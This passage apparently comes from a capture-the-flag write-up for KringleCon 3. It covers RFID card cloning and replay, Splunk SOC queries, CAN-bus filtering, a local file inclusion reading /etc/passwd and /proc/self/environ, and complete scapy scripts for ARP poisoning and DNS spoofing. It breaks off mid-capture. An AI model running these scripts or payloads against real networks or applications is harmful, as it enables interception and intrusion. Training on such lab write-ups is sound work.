this interface (as if you plugged the Proxmark into your computer)\n  proxmark cli   Since the challenge name specifically mentioned \u0026ldquo;HID\u0026rdquo;, there were only two commands/actions that were really interesting. The first to read (clone) existing HID devices on the map, and the second to replay one of those cards in the Workshop.\nMy approach was to just walk to each and every Elf I could find, open up the Proxmark CLI and running the lf hid read command, recording the card data in a text file.\n  example hid read output   All of the card data I gathered were:\nbow ninecandle (talks lobby) - #db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023 shinny upatree (front lawn) - #db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025 sparkle redberry (entryway) - #db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022 ginger breddie (entryway) - #db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022 angel candysalt (great room) - #db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040 holly evergreen (kitchen) - #db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024 noel boetie (wrapping room) - #db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000 Once I had all the cards I thought I could find, I went to the Workshop and ran the lf hid sim command for each tag I had scanned.\n[magicdust] pm3 --\u0026gt; lf hid sim -r 2006e22f13 --fc 113 --cn 6025 [=] Simulating HID tag using raw 2006e22f13 [=] Stopping simulation after 10 seconds. [=] Done Turns out, Skinny Upatree had a card that would unlock the Workshop door.\n  unlocked workshop door   Entering the room behind the door had me confused at first. It was dark with basically nothing inside it. I actually thought I hid a snag where my browser failed to render the room. Turns out that is exactly how the room should look, and if you move all the down you\u0026rsquo;d see a light.\n  the only light in the workshop room   Clicking this light as your normal avatar teleports you back to the Entry room, but, now you are Santa!\n  look, we are santa!   At this stage you would have unlocked the rest of the objectives on your badge, and you could now do challenges such as the Splunk challenge that only Santa could do. Paying close attention to the narrative, many Elf\u0026rsquo;s mentioned that Santa was acting strange. At this point it is clear that it was because of the ability we have to impersonate him.\n6 - splunk challenge  Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?\n For this challenge you had to be playing as Santa (accessible after you completed objective 5)\nAngel Candysalt stands next to a computer with the Splunk logo on it in the great room.\n  splunk computer in the great room   Clicking the computer opened a new tab with a Splunk Web UI here: https://splunk.kringlecastle.com/en-US/app/SA-kringleconsoc/kringleconsoc. Trying to browse to that URL without logging into the Kringlecon 3 challenge site would have you redirected to a login page, fwiw.\n  splunk webui with the kringlesoc app open   For this challenge you had to answer a few questions (seen on the right) based on an Adversary Simulation that had been run using the Splunk Attack Range. Conversations in the KringleSOC chats reveal these details to help you understand where the data is coming from. Once you are ready to start, the chat with \u0026ldquo;Alice Bluebird'' would guide you through the rest of it.\nLet\u0026rsquo;s tackle those questions and the Search Processing Language (SPL) I used to solve them.\n  How many distinct MITRE ATT\u0026amp;CK techniques did Alice emulate?   Alice gave us an example search to use here | tstats count where index=* by index, so I just pasted that and manually counted the techniques to get to 13 haha!\n  splunk example SPL for question 1   Alice\u0026rsquo;s (much better) search for this was apparently this, which gives you the count too:\n| tstats count where index=* by index | search index=T*-win OR T*-main | rex field=index \u0026#34;(?\u0026lt;technique\u0026gt;t\\d+)[\\.\\-].0*\u0026#34; | stats dc(technique)  What are the names of the two indexes that contain the results of emulating Enterprise ATT\u0026amp;CK technique 1059.003? (Put them in alphabetical order and separate them with a space)   For this one I just looked at my previous searches results and spotted \u0026lsquo;em with my eye as t1059.003-main t1059.003-win. Easy.\n One technique that Santa had us simulate deals with \u0026lsquo;system information discovery\u0026rsquo;. What is the full name of the registry key that is queried to determine the MachineGuid?   This one was trickier. Because MITRE ATT\u0026amp;CK references don\u0026rsquo;t actually include any attack details (or examples if you will), I opted to clone the Atomic Red Team repository and search through there for answers instead.\n  atomic red team search for MachineGuid   I cross referenced Splunk search results to check that we actually ran T1082 (which we did), and inferred the registry key as HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography.\n According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)   OSTAP? Oh, right, malware. Much like the previous question, I searched for references in the Atomic Red Team repository and found that T1204 was related to this. Alice also gives an important hint here in that the index that gets used to record all simulations that were run is in index=attack. So, the final SPL to find the timestamp for me was: index=attack ostap | sort _time.\n  splunk question 4 search \u0026amp; result   The answer was 2020-11-30T17:44:15Z.\n One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?   This one was tricky for me as it took me a really long time to discover which parts were important from both the Github profile, the relevant project and the correct data in splunk. Anyways, we get a vague hint about someone\u0026rsquo;s Github profile, asking us to find the PID of the first relevant process created for the technique.\nChecking out the users Github profile, we find one project that may be relevant (based purely on eliminating the other projects they had). AudioDeviceCmdlets. Searching for AudioDeviceCmdlets in the Atomic Red Team repository we find T1123, which we also have an index for in splunk. So, this must be the relevant TTP.\nWe\u0026rsquo;re told that Event Code 1 is the event type we\u0026rsquo;re interested in, and that is something Sysmon will give us, so we can add that to our search. At this point I had index=t1123-win EventCode=1 *audio* for my search. This narrowed the possibilities down to two events for me.\n  splunk question 5 search \u0026amp; result   The first entry in the results was not specific to the AudioDeviceCmdlets component, so the only other option was 3648 found with the index=t1123-win EventCode=1 *audio* | table process_id, cmdline search.\n Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?   I think this one was the hardest. By now I have gotten into the habit of searching through the Atomic Red Team atomics/ directory for details on how some of these techniques were run, but this time I couldn’t find any batch files with correct answers that they were asking for. So, I had to search purely in Splunk this time.\nI figured that with command line auditing enabled we should be able to see at least where/how the batch file would get invoked, and hopefully as a result of the auditing see the subsequent commands in the bat file that were run as well. To narrow things down, I started with this search (removing splunk agents to reduce noise): index=* cmdline=* cmdline!=\u0026quot;*SplunkUniversalForwarder*\u0026quot; \u0026quot;*.bat*\u0026quot;. This resulted in some Sysmon events I could spot, and adding | stats count by index to the search revealed T1059.003 and T1547.001. Great, however, the Atomic Red Team atomics for those weren\u0026rsquo;t as useful as I had hoped (at least none of my answers worked haha).\nTo make the data more readable for me with the relevant parts, I tabled the columns I figured would be interesting and started working through those with index=* cmdline=* cmdline!=\u0026quot;*SplunkUniversalForwarder*\u0026quot; \u0026quot;*.bat*\u0026quot; | sort _time desc | table index, cmdline.\n  splunk question 6 search \u0026amp; result   The very last entry in that list was a PowerShell command that downloaded a bat file from the atomic-red-team repository here. Right at the end of that script we can see the quser command, which is also the answer!\n According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?   Alice gives us a hint that the Zeek logs are in an index that starts with bro by suggesting a search to start with: index=* sourcetype=bro*. To see all of the source types available I used this search: index=* | stats count by sourcetype. Because this question specifically asks for an x509 serial number, I refined my search to specifically the bro:x509:json source type with index=* sourcetype=\u0026quot;bro:x509:json\u0026quot;. The very first result was for the Domain Controller and showed the serial number as 55FCEEBB21270D9249E86F4B9DC7AA60.\n  splunk question 7 search \u0026amp; result    What is the name of the adversary group that Santa feared would attack KringleCon?   Alice gave us a hint and an encrypted phrase to decrypt: 7FXjP1lyfKbyDK/MChyf36h7.\n  splunk encrypted phrase to decrypt   For this challenge you had to have watched the talk that Angel Candysalt spoke about which had a very specific, awkward and weird pause on a slide with the words \u0026ldquo;Stay Frosty\u0026rdquo; on it here. I solved the challenge using CyberChef by base64 decoding the phrase Alice gave us, and RC4 decrypting it (after a quick Google for RFC 7465) using Stay Frosty as the passphrase to reveal the answer as The Lollipop Guild. A link to my solution using CyberChef is here.\n7 - solve the sleigh\u0026rsquo;s can-d-bus problem  Jack Frost is somehow inserting malicious messages onto the sleigh\u0026rsquo;s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.\n For this challenge you had to be playing as Santa (accessible after you completed objective 5)\n  santa by the sleigh in the netwars room   Clicking on the Sleigh as Santa presented this interface with the messages on the right scrolling by really fast.\n  sleigh can-d-bus interface   It takes a little while to get used to the interface, so clicking around and seeing the effects it has on the messages you see is highly encouraged.\nFrom the CANBus investigation challenge we learnt that messages have a type and a data field, separated by the #. As far as filtering goes, the Epoch and Time fields can be ignored. The ID and Message fields are important. My approach was to filter out everything that was just racing by so I could get the message log as quiet as possible. That meant I had the following rules at first.\n  sleigh filtering all default traffic   With the message log quiet, I started to fiddle with the controls and filters to map which message ID\u0026rsquo;s related to which feature. For example, I would toggle the Accelerator up (after starting the sleigh) and then remove filters to see which messages were being generated. Repeating that for each feature I ended with the following list.\n244 - Accelerator 080 - Brake 019 - Steering 02A - Start / Stop 19B - Lock / Unlock With the mapping done, and keeping in mind the hint we received from Wunorse Openslae after completing the terminal, I focussed on the brakes and locks mechanism. This was mostly a trial and error thing, but in the end I had these two filters applied to remove messages that appeared to mess with the functioning of the sleigh.\n19B Equals 0000000F2057 080 Contains FFFF 8 - broken tag generator  Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.\n The tag generator was available via the URL revealed in the objective here: https://tag-generator.kringlecastle.com/. Browsing to it you\u0026rsquo;d see:\n  broken tag generator ui   This was actually one of the few web hacking challenges and was pretty simple. Fuzzing the UI, I tried to upload a text document.\n  broken tag generator text file upload error   The error displayed reveals a local path of a .rb file (so I guessed this was a Ruby web app), and what I am guessing is a temporary directory for processing uploads. Next, I uploaded a legitimate image which I figured the web app would allow. I opened the browser console to see what web traffic was generated with the upload, which revealed that an accepted image would be accessible from an image specific endpoint.\n  broken tag generator upload web traffic   I opened the image URL in a new tab, which revealed the full URL as https://tag-generator.kringlecastle.com/image?id=a5471902-34bb-461c-80d7-2620c3d1bc66.png. At this stage I decided to fire up Burp Suite to test if the id field may be vulnerable to local file inclusion using an id of ../../../../etc/passwd, which it was.\n  broken tag generator lfi   With LFI on Linux hosts you can query for a lot of interesting information from the /proc mount, and given that the challenge asked us to reveal what was stored in an environment variable, we could reveal that by reading /proc/self/environ.\n  broken tag generator `GREETZ` variable   JackFrostWasHere was the answer.\n9 - arp shenanigans  Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?\n For this challenge you had to be playing as Santa (accessible after you completed objective 5)\n  arp shenanigans challenge visible when playing as santa   Oh boy, this was a fun one! The challenge had quite a few layers to it, each clearly following on the other as you process through it.\n  arp shenanigans initial shell   The challenge drops you in a tmux session with one of the messages saying that we need to try and get control over 10.6.6.35 again. The suggested HELP.md file simply contained some basic unixy tips, and example pcaps you could look at for ARP \u0026amp; DNS traffic. There were some files \u0026amp; directories already present on the filesystem too.\nguest@b0fe959ddcac:~$ ls -l total 16 -rw-r--r-- 1 guest guest 830 Dec 5 00:00 HELP.md drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 debs lrwxrwxrwx 1 guest guest 9 Dec 7 21:11 motd -\u0026gt; /etc/motd drwxr-xr-x 1 guest guest 4096 Dec 1 15:27 pcaps drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 scripts The pcaps/ folder had some example ARP \u0026amp; DNS pcaps. The scripts/ folder had two example scripts where scapy was used in one to generate an ARP reply, and a DNS answer in another. These two scripts contained some fields you had to complete.\nThe provided ARP script was:\n#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 ip ipaddr = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_INET][0][\u0026#39;addr\u0026#39;] # Our eth0 mac address macaddr = \u0026#39;:\u0026#39;.join([\u0026#39;{:02x}\u0026#39;.format((uuid.getnode() \u0026gt;\u0026gt; i) \u0026amp; 0xff) for i in range(0,8*6,8)][::-1]) def handle_arp_packets(packet): # if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst=\u0026#34;SOMEMACHERE\u0026#34;, type=0x806, src=\u0026#34;SOMEMACHERE\u0026#34;) arp_response = ARP(pdst=\u0026#34;SOMEMACHERE\u0026#34;) arp_response.op = 99999 arp_response.plen = 99999 arp_response.hwlen = 99999 arp_response.ptype = 99999 arp_response.hwtype = 99999 arp_response.hwsrc = \u0026#34;SOMEVALUEHERE\u0026#34; arp_response.psrc = \u0026#34;SOMEVALUEHERE\u0026#34; arp_response.hwdst = \u0026#34;SOMEVALUEHERE\u0026#34; arp_response.pdst = \u0026#34;SOMEVALUEHERE\u0026#34; response = ether_resp/arp_response sendp(response, iface=\u0026#34;eth0\u0026#34;) def main(): # We only want arp requests berkeley_packet_filter = \u0026#34;(arp[6:2] = 1)\u0026#34; # sniffing for one packet that will be sent to a function, while storing none sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == \u0026#34;__main__\u0026#34;: main() And the provided DNS script was:\n#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_INET][0][\u0026#39;addr\u0026#39;] # Our Mac Addr macaddr = \u0026#39;:\u0026#39;.join([\u0026#39;{:02x}\u0026#39;.format((uuid.getnode() \u0026gt;\u0026gt; i) \u0026amp; 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = \u0026#34;10.6.1.10\u0026#34; def handle_dns_request(packet): # Need to change mac addresses, Ip Addresses, and ports below. # We also need eth = Ether(src=\u0026#34;00:00:00:00:00:00\u0026#34;, dst=\u0026#34;00:00:00:00:00:00\u0026#34;) # need to replace mac addresses ip = IP(dst=\u0026#34;0.0.0.0\u0026#34;, src=\u0026#34;0.0.0.0\u0026#34;) # need to replace IP addresses udp = UDP(dport=99999, sport=99999) # need to replace ports dns = DNS( # MISSING DNS RESPONSE LAYER VALUES  ) dns_response = eth / ip / udp / dns sendp(dns_response, iface=\u0026#34;eth0\u0026#34;) def main(): berkeley_packet_filter = \u0026#34; and \u0026#34;.join( [ \u0026#34;udp dst port 53\u0026#34;, # dns \u0026#34;udp[10] \u0026amp; 0x80 = 0\u0026#34;, # dns request \u0026#34;dst host {}\u0026#34;.format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) \u0026#34;ether dst host {}\u0026#34;.format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface=\u0026#34;eth0\u0026#34;, count=1) if __name__ == \u0026#34;__main__\u0026#34;: main() These two scripts were definitely very useful. But, to know where to start, we had to check out what traffic we could see on the host we do have access to. Using tcpdump we can do just that.\nguest@b0fe959ddcac:~/scripts$ tcpdump tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 15:52:15.869362 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 15:52:16.917383 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 15:52:17.957376 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 15:52:19.009424 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 ^C 4 packets captured 4 packets received by filter 0 packets dropped by kernel With name resolution turned off (-n flag), we can also get a good idea of which IP\u0026rsquo;s specifically were at play here:\nguest@b0fe959ddcac:~/scripts$ tcpdump -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 15:52:24.245355 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 15:52:25.293394 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 15:52:26.337427 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 15:52:27.381423 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 ^C 4 packets captured 4 packets received by filter 0 packets dropped by kernel Neat, so the host we\u0026rsquo;re interested in is asking (every second?) who has 10.6.6.53! ARP being a layer 2 protocol means we\u0026rsquo;d be interested in the MAC addresses used to be able to craft a legitimate response using the provided script. Another way to view network traffic is to use tshark. In this case it would print out the relevant MAC addresses too.\nguest@b0fe959ddcac:~/scripts$ tshark -n Capturing on \u0026#39;eth0\u0026#39; 1 0.000000000 4c:24:57🆎ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35 2 1.047977896 4c:24:57🆎ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35 3 2.092716820 4c:24:57🆎ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35 4 3.147953807 4c:24:57🆎ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35 ^C4 packets captured Neat, 4c:24:57🆎ed:84 is making the ARP request, so let\u0026rsquo;s forge a response, saying that we are that host! This is where the arp_resp.py script given to us in the scripts/ directory will be handy. The parts we need to complete are clearly marked too. Now, an ARP packet actually contains a number of fields. You could view the pcaps in Wireshark (or Cloudshark like the hints had), or, since we\u0026rsquo;re receiving a new ARP request every second, we can use scapy to capture a packet and then just copy out the relevant fields from there. The provided script actually has all the code we need too!\n\u0026gt;\u0026gt;\u0026gt; from scapy.all import * \u0026gt;\u0026gt;\u0026gt; sniff(filter=\u0026#34;(arp[6:2] = 1)\u0026#34;, count=1) \u0026lt;Sniffed: TCP:0 UDP:0 ICMP:0 Other:1\u0026gt; \u0026gt;\u0026gt;\u0026gt; a=_ \u0026gt;\u0026gt;\u0026gt; a[0] \u0026lt;Ether dst=ff:ff:ff:ff:ff:ff src=4c:24:57🆎ed:84 type=ARP |\u0026lt;ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=4c:24:57🆎ed:84 psrc=10.6.6.35 hwdst=00:00:00: 00:00:00 pdst=10.6.6.53 |\u0026gt;\u0026gt; Here we can see all of the ARP fields we need, except for the value of ptype which you will see is 0x800 when viewed in wireshark. So, to complete the script using that captured packet as reference, I had:\n#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 ip ipaddr = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_INET][0][\u0026#39;addr\u0026#39;] # Our eth0 mac address macaddr = \u0026#39;:\u0026#39;.join([\u0026#39;{:02x}\u0026#39;.format((uuid.getnode() \u0026gt;\u0026gt; i) \u0026amp; 0xff) for i in range(0,8*6,8)][::-1]) us = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_LINK][0][\u0026#39;addr\u0026#39;] them = \u0026#34;4c:24:57🆎ed:84\u0026#34; def handle_arp_packets(packet): # if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst=them, type=0x806, src=us) arp_response = ARP(pdst=them) arp_response.op = 2 arp_response.plen = 4 arp_response.hwlen = 6 arp_response.ptype = 0x0800 arp_response.hwtype = 1 arp_response.hwsrc = us arp_response.psrc = \u0026#34;10.6.6.53\u0026#34; arp_response.hwdst = them arp_response.pdst = \u0026#34;10.6.6.35\u0026#34; response = ether_resp/arp_response sendp(response, iface=\u0026#34;eth0\u0026#34;) def main(): # We only want arp requests berkeley_packet_filter = \u0026#34;(arp[6:2] = 1)\u0026#34; # sniffing for one packet that will be sent to a function, while storing none sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == \u0026#34;__main__\u0026#34;: main() Note: The us variable is the result of me realising that if the environment is refreshed (you closed the terminal or something else happened), your IP address and MAC address could change. So, that part is just to ignore those and just pull whatever the current value is.\nHaving tshark open in one window while running python3 arp_resp.py to effectively perform an ARP poisoning attack, we would see the next step in the challenge.\n  arp shenanigans dns request after arp poison   Our ARP response and the new DNS request for ftp.osuosl.org extracted:\n6 4.228167027 02:42:0a:06:00:03 → 4c:24:57🆎ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:03 7 4.268778840 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org After telling 10.6.6.35 that \u0026ldquo;hey, we\u0026rsquo;re that 10.6.6.53 ip you\u0026rsquo;re looking for!\u0026rdquo;, a DNS lookup for ftp.osuosl.org follows soon after. Yep, you guessed it, we need to reply with an IP, and preferably our IP!\nThe dns_resp.py script needed some carefully considered modifications. Once specific change I had to make was to relax the packet filter rules as scapy was not seeing the incoming DNS traffic. You also have to consider how the DNS request got to us, and what a typical response conversation would have looked like. If we take a look at another tcpdump session after performing the ARP poison, you\u0026rsquo;d see what I want to get to.\nguest@b0fe959ddcac:~/scripts$ tcpdump -n \u0026#34;port 53\u0026#34; tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 16:09:39.597827 IP 10.6.6.35.28203 \u0026gt; 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) The incoming DNS request came from 10.6.6.35 on port 28203 to 10.6.6.53 on port 53. That means our reply needs to be sent to 10.6.6.35 on port 28203, coming from port 53. The thing is though, every request coming in from 10.6.6.35 will have a random high port like this (it’s part of how TCP/IP works), so we need to make sure we parse that in our python script to ensure the reply is sent where it\u0026rsquo;s expected.\nLayer 3 aside, we also need to remember that this DNS request came in to us as a result of an ARP spoofing attack, so when we craft the reply packet we need to ensure that we have the correct layer 2 packet configured as well.\nLet\u0026rsquo;s complete the script sections that will deal with the TCP/IP transport first, and then we\u0026rsquo;ll move on the DNS specific portion of the packet.\n# destination ip we arp spoofed ipaddr_we_arp_spoofed = \u0026#34;10.6.6.35\u0026#34; us = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_LINK][0][\u0026#39;addr\u0026#39;] them = \u0026#34;4c:24:57🆎ed:84\u0026#34; def handle_dns_request(packet): eth = Ether(src=us, dst=packet[Ether].src) # need to replace mac addresses ip = IP(dst=packet[IP].src, src=packet[IP].dst) # need to replace IP addresses udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) # need to replace ports dns = DNS( # incomplete for now ) dns_response = eth / ip / udp / dns sendp(dns_response, iface=\u0026#34;eth0\u0026#34;) You should see in the above snippet that fields such as the source MAC address, the source port etc. are all parsed from the received packet stored in a variable called packet. Scapy makes it really simple to extract fields from a packet and here you can see how that is useful.\nAlright, let\u0026rsquo;s move on to the DNS() field. I found two resources that were immensely useful in recreating the necessary DNS packet. Those were https://thepacketgeek.com/scapy/building-network-tools/part-09/ and https://www.cs.dartmouth.edu/~sergey/netreads/local/reliable-dns-spoofing-with-python-scapy-nfqueue.html. My initial attempts at this resulted in a DNS() field that looked like this:\ndns = DNS( id=packet[DNS].id, qd=packet[DNS].qd, an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr)/DNSRR(rrname=\u0026#34;ftp.osuosl.org\u0026#34;,rdata=ipaddr) ) One final tweak I made was to create an infinite loop for the sniff() function. I did not want to race the ARP spoof and incoming DNS request, and it had the added bonus of making the attack easily repeatable for the later stages as I was debugging my scripts. Anyways, running the dns_resp.py (which had the infinite loop now) and then arp_resp.py script while watching DNS dump resulted in:\nlistening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 16:18:49.245472 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 16:18:50.357351 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 16:18:51.405393 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 16:18:51.445590 ARP, Reply 10.6.6.53 is-at 02:42:0a:06:00:03, length 28 16:18:51.473763 IP 10.6.6.35.16029 \u0026gt; 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 16:18:51.498067 IP 10.6.6.53.53 \u0026gt; 10.6.6.35.16029: 0*- [0q] 2/0/0 A 10.6.0.3, A 10.6.0.3 (72) 16:18:52.461391 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 16:18:53.517373 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 I could see the incoming DNS request, and I could see a response (with the correct reverse port mapping), but nothing happened afterwards. Hmm. I double checked my code, double checked my references, but nothing. As I continued debugging this, I figured I needed to take a closer look at the DNS response packet I was generating. Not from a code perspective, but rather from a packet dump perspective.\nThere is a -Y flag available for tshark which allows us to specify a packet dissector. Something you automatically get when using the Wireshark GUI, but not when using the CLI. So, to get tshark to show me details about the DNS packets that were flowing up and down, I ran it with tshark -n -i eth0 -Y \u0026quot;dns\u0026quot; -V.\nFor the sake of brevity I\u0026rsquo;m going to strip the layer 2/3 stuff, and instead focus on the DNS dissection. Here was the incoming packet.\n[ ... ] Domain Name System (query) Transaction ID: 0x0000 Flags: 0x0100 Standard query 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data: Unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries ftp.osuosl.org: type A, class IN Name: ftp.osuosl.org [Name Length: 14] [Label Count: 3] Type: A (Host Address) (1) Class: IN (0x0001) The response however, while it may seem right at first glance, wasn\u0026rsquo;t.\n[ ... ] Domain Name System (query) Transaction ID: 0x0000 [Expert Info (Warning/Protocol): DNS query retransmission. Original request in frame 6] [DNS query retransmission. Original request in frame 6] [Severity level: Warning] [Group: Protocol] Flags: 0x0100 Standard query 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data: Unacceptable Questions: 1 Answer RRs: 2 Authority RRs: 0 Additional RRs: 0 Queries ftp.osuosl.org: type A, class IN Name: ftp.osuosl.org [Name Length: 14] [Label Count: 3] Type: A (Host Address) (1) Class: IN (0x0001) Answers ftp.osuosl.org: type A, class IN, addr 10.6.0.3 Name: ftp.osuosl.org Type: A (Host Address) (1) Class: IN (0x0001) Time to live: 0 (0 seconds) Data length: 4 Address: 10.6.0.3 ftp.osuosl.org: type A, class IN, addr 10.6.0.3 Name: ftp.osuosl.org Type: A (Host Address) (1) Class: IN (0x0001) Time to live: 0 (0 seconds) Data length: 4 Address: 10.6.0.3 [Retransmitted request. Original request in: 6] [Retransmission: True] Hah! I was responding with another query type packet, even though my response had answers! Derp. that helped me focus in on where to look (the transport was fine, the packet itself was not), which finally led me to the aa and qr fields! aa specifies that this is an authoritative answer (not necessarily required), but more importantly qr is a bitfield that specifies if this packet is a query (0), or a response (1). My completed script was therefore:\n#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # creds: # https://thepacketgeek.com/scapy/building-network-tools/part-09/ # https://www.cs.dartmouth.edu/~sergey/netreads/local/reliable-dns-spoofing-with-python-scapy-nfqueue.html # Our eth0 IP ipaddr = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_INET][0][\u0026#39;addr\u0026#39;] # Our Mac Addr macaddr = \u0026#39;:\u0026#39;.join([\u0026#39;{:02x}\u0026#39;.format((uuid.getnode() \u0026gt;\u0026gt; i) \u0026amp; 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = \u0026#34;10.6.6.35\u0026#34; us = ni.ifaddresses(\u0026#39;eth0\u0026#39;)[ni.AF_LINK][0][\u0026#39;addr\u0026#39;] them = \u0026#34;4c:24:57🆎ed:84\u0026#34; def handle_dns_request(packet): eth = Ether(src=us, dst=packet[Ether].src) # need to replace mac addresses ip = IP(dst=packet[IP].src, src=packet[IP].dst) # need to replace IP addresses udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) # need to replace ports dns = DNS( id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, ancount=2, an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr)/DNSRR(rrname=\u0026#34;ftp.osuosl.org\u0026#34;,rdata=ipaddr) ) dns_response = eth / ip / udp / dns sendp(dns_response, iface=\u0026#34;eth0\u0026#34;) def main(): berkeley_packet_filter = \u0026#34; and \u0026#34;.join( [ \u0026#34;udp dst port 53\u0026#34;, # dns \u0026#34;udp[10] \u0026amp; 0x80 = 0\u0026#34;, # dns request ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request while True: sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface=\u0026#34;eth0\u0026#34;, count=1) if __name__ == \u0026#34;__main__\u0026#34;: main() Great, so once we got the DNS answers to work fine, the next piece of the puzzle becomes clear using tcpdump again.\n16:53:34.977453 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 16:53:34.997602 ARP, Reply 10.6.6.53 is-at 02:42:0a:06:00:03, length 28 16:53:35.029864 IP 10.6.6.35.50215 \u0026gt; 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 16:53:35.062362 IP 10.6.6.53.53 \u0026gt; 10.6.6.35.50215: 0*- 2/0/0 A 10.6.0.3, A 10.6.0.3 (92) 16:53:35.067876 IP 10.6.0.3.52476 \u0026gt; 10.6.6.35.64352: Flags [S], seq 240645463, win 64240, options [mss 1460,sackOK,TS val 